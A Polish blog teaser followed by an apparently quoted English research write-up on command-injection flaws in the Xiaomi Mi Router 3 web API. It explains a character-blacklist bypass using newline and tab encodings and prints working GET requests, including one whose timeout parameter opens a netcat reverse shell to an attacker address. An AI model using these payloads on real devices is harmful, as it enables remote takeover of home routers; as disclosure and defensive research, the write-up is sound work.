Znaleźli 150 podatności w domowych routerach i dyskach sieciowych (NAS). Czego tam nie ma… SQL injection, buffer overflow, omijanie uwierzytelnienia, dostęp na root, …

Xiaomi Mi Router 3
Xiaomi is a popular brand from China that offers the Mi Router 3, a SOHO router. Administrative functionality is implemented in Lua and follows an Model-View-Controller (MVC) like architecture. While assessing this device, we first analyzed how requests are routed then accessed each implemented route for vulnerabilities.

Following these methods we discovered, in luci/controller/api/misns.lua, that the URL endpoint /cgi-bin/luci/;stok=/api/misns/wifi_access makes use of GET URL parameters that are passed as the arguments to a shell command. In the figure below we illustrate the parameters used when issuing request to this endpoint. In this request, is the user’s session token and is the MAC address to add to wifi_access.

GET /cgi-bin/luci/;stok=/api/misns/wifi_access?mac=&sns=&grant=1&guest_user_id=guid&timeout=timeout

The controller for this request has a helper function for ensuring these parameters are either nil, or do not contain a blacklisted set of shell metacharacters characters that could be used to break out of the shell argument context. The following characters are blacklisted by the Mi Router:

[`;|$&{} ]

We were able to use newline characters (%0A) instead of semicolons and tabs (%09) instead of spaces to bypass the character blacklist. Using these characters, attackers can inject commands into the sns parameter. A sample GET request is shown in below.

GET /cgi-bin/luci/;stok=88de3a3ba0e9a64f50124fbf669f088f/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=’%0atouch%09/tmp/ise%0a%23&grant=1&guest_user_id=guid&timeout=timeout HTTP/1.1

This character bypass shows how attackers could circumvent some of the security controls Xiaomi placed on the device. In addition to the vulnerability discussed above, this same endpoint is vulnerable to a command injection attack that is not restricted by the character blacklist at all. Due to a bug in the web application’s logic, the timeout parameter is never validated against the blacklist. This allows attackers to use any command injection payload, regardless of character set. The GET request below shows an example request that spawns a reverse shell that connects to the attacker’s machine at 192.168.31.82 on port 9001.

GET /cgi-bin/luci/;stok=d714f92968bb8cc6466f87c8618dfc30/api/misns/wifi_access?mac=00:00:00:00:00:00&sns=sns&grant=1&guest_user_id=guid&timeout=’%3bmkfifo+/tmp/p%3bcat+/tmp/p|/bin/sh+-i+2>%261|nc+192.168.31.82+9001+>/tmp/p+%23 HTTP/1.1
Host: 192.168.31.1

We were able to circumvent Xiaomi’s security controls by first determining which characters were blacklisted, listing other metacharacters accepted by the shell, and finally substituting the blacklisted characters for others that are interpreted equally. As noted above, we also found other endpoints with programming logic errors that allowed us to circumvent the blacklist entirely.